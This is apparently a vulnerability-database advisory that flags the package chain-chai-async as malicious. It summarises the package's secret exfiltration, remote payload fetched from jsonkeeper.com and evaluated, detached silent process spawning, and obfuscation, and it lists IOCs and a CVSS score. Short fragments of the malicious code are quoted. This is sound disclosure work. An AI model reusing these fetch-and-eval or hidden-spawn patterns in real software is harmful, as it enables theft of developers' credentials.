VDB
GCVE-110-OSM-2026-7090
GCVE-110-OSM-2026-7090
Advisory PublishedCVSS 9.6/10
Malicious package detected. Behaviors: data exfiltration, code execution, network activity, obfuscated code.
ENTRY
index.js (main: index.js)
DESTINATION
- custom-c2: jsonkeeper.com (primary, decoded) in lib/caller.js
EXFIL
- Environment Variable Exfiltration in lib/caller.js: "process.env.DEV_SECRET_KEY; const v = process.env.DEV_SECRET_VALUE; let retrycnt..."
- Fetch and Eval/Exec in lib/caller.js: "axios.get(src, { headers: { [k]: v } })).data.cookie; const handler = new Functi..."
- Payload Download from Paste Service in lib/caller.js: "jsonkeeper.com"
- Network Request in lib/caller.js: "axios.get("
OBFUSCATION
- Global Variable Shadowing in lib/caller.js: "const process = {"
- Decoded Base64 Content in lib/const.js
- Strings Extracted from Deobfuscated Code in lib/caller.js
- recovered 1 urls, 1 domains from decoded/deobfuscated content
ADDITIONAL FINDINGS
- Stealth Background Process Spawning in index.js: "spawn("node", [script, JSON.stringify(args)], { detached: true, stdio: "ignore" ..."
- Shell Command Execution in index.js: "require("child_process")"
- Silent Process Execution in index.js: "stdio: "ignore""
- Detached Child Process Payload in index.js: "spawn("node", [script, JSON.stringify(args)], { detached: true"
- Dynamic Code Execution in lib/caller.js: "Function.constructor("
PAYLOAD FILES
lib/caller.js
INDICATORS (IOCs)
- urls: http://192.168.1.42:9200, https://jsonkeeper.com/b/ZK45J
- payloadFileHash: c94c68398967a72596733d62b40d3b2df9490056a3b25bfd96333d0a88d84624
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | chain-chai-async | all (affected) | — |
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